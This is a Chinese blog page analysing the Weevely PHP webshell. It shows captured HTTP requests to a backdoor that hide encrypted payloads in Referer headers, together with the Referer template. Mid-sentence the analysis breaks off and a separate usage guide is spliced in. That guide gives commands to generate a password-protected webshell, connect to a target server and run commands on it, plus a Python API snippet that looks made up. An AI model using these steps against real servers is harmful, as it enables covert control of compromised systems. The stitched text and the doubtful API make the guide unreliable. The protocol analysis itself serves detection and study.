Weevely使用及源码分析(二)

本文深入分析了Weevely工具的两种PHP模板(stegaref_php.tpl和legacycookie_php.tpl)的后门机制,包括协议交互、数据包结构、加密payload解密过程。通过Wireshark抓包,展示了请求包和响应包的内容,并详细解释了数据包载荷如何在Referer头和Cookie中隐藏。通过对Weevely源码的分析,揭示了webshell控制通道的工作原理和核心函数send()的流程。

1. 定义(术语、名词解释)

   客户端:运行Weevely进程的计算机。
   服务端:存有PHP木马的服务器。

2. 协议交互流程

   在客户端,Weevely每执行一条命令就通过HTTP协议发出一条GET/POST请求;在服务端,木马针对每条GET/POST请求作出响应,产生一条响应包。

3. 数据包及源码分析

   通过对源代码进行走读以及wireshark进行抓包分析,可以看出Weevely主要生成的php后门文件主要有三种模板:stegaref_php.tpl,legacycookie_php.tpl,stegaref_php_debug.tpl。其中stegaref_php.tpl与stegaref_php_debug.tpl两种php模板类似,主要特点是返回的response_body中的标签stegaref_php.tpl为<连接密码md5加密前八位>标签,stegaref_php_debug.tpl为:<连接密码md5加密前八位+DEBUG>标签,同时响应体中的内容stegaref_php_debug.tpl模板把主要的有用数据字段全都显示出来了,主要用于前期debug使用,所以本文档主要分析了stegaref_php.tpl和legacycookie_php.tpl两种使用模板。

3.1 stegaref_php.tpl模板

   以ip为136的kali虚拟机为客户端对含有后门文件的ip为137的kali虚拟机作为服务器进行远程连接。连接成功后在客户端命令行中输入命令whoami查看回显内容。通过Wireshark我们抓取到了两个TCP数据流。分别为:

3.1.1 请求包

数据包

GET /backdoor.php HTTP/1.1
Accept-Encoding: identity
Accept-Language: uk-UA,mi;q=0.5,mt;q=0.7,mk;q=0.8
Host: 192.168.182.137
Accept: text/html,text/plain;0.9,*/*
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.427.0 Safari/534.1
Connection: close
Referer: http://www.google.bt/url?sa=t&rct=j&q=168.182.137&source=web&cd=799&ved=bd6Tfh__3&url=168.182&ei=z5HrNlsxt6GOIdThqz-xn9&usg=_WO2gRIcnxgee6zgNBv-_H_-rGFUhmIHND

分析

HTTP攻击载荷主要存储于Referer头中,通过Accept-Language头中存储的sessionid和payload的数组偏移量对加密的payload进行提取。|

数据包

GET /backdoor.php HTTP/1.1
Accept-Encoding: identity
Accept-Language: ur-PK,mh;q=0.4
Connection: close
Accept: text/html,application/xml;0.9,*/*
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
Host: 192.168.182.137
Cookie: PHPSESSID=fkdt4fv5tkn3q2hnhp10rv65o5
Referer: http://translate.googleusercontent.com/translate_c?depth=1&rurl=translate.google.com&sl=auto&tl=en&usg=hiNRM7PjQ220tyDdwupmXEp1ZrLJkF0aFf

分析

HTTP攻击载荷主要存储于Referer头中,通过Accept-Language头中存储的sessionid和payload的数组偏移量对加密的payload进行提取。

   通过对Weevely源码进行分析,确定数据包格式主要通过7种不同的构造Referer数据报头方法进行对加密的payload进行填充。Referer头格式为:

http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload
### Weevely 使用指南 Weevely 是一种轻量级的 PHP Webshell 工具,旨在通过受感染的目标服务器执行命令并提供交互式访问。以下是关于如何使用 Weevely 的详细介绍: #### 安装与配置 为了开始使用 Weevely,首先需要安装该工具。可以通过以下方式获取最新版本: ```bash git clone https://github.com/epinna/weevely3.git cd weevely3 pip install -r requirements.txt ``` 完成上述操作后即可运行 Weevely。 #### 创建自定义 Shell 文件 Weevely 支持生成加密后的 shell 脚本文件以便上传到目标服务器。可以利用如下命令创建一个新的 webshell 文件: ```bash weevely generate password /path/to/shell.php ``` 这里,“password”是你设置用于连接此特定 shell 所需的秘密密码;而 `/path/to/shell.php` 则表示保存生成脚本的位置[^1]。 #### 连接到远程主机上的 Shell 一旦成功将生成好的 php 文件放置于目标机器上之后,就可以尝试建立连接了。假设已知 URL 地址以及之前设定过的密钥,则可通过下面这条指令实现登录功能: ```bash weevely http[s]://target_url/path_to_shell.php your_password ``` 如果一切正常的话,此时应该能够看到提示符表明进入了互动模式下[^2]。 #### 基础命令集概览 进入会话以后,可使用的部分基础命令列举如下: - `ls`: 查看当前目录下的文件列表。 - `pwd`: 显示当前位置路径名。 - `cat filename`: 输出指定文档的内容至屏幕显示出来。 - `upload local_file remote_path`: 将本地计算机中的某个档案传送到远端设备上去存储起来。 - `download url destination`: 下载网络资源存放到服务器内部某处位置。 - `exec command_string`: 对操作系统下达额外的一般用途型态之指示串列去被执行处理完毕后再返回结果给使用者查看[^3]。 #### 高级特性介绍 除了基本的操作之外,Weevely 还提供了许多高级特性和模块扩展支持,比如数据库管理、反向代理设置等功能都可以借助插件形式加载进来增强其功能性表现力。 ```python import weevely.remote as wr # Example of using the API programmatically within Python scripts. session = wr.Session('http://example.com/shell.php', 'secret') output = session.execute('id') # Execute a system-level ID command on target machine. print(output.decode()) ``` 以上就是有关 Weevely 主要组成部分及其应用方法的一个简单概述说明文档。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值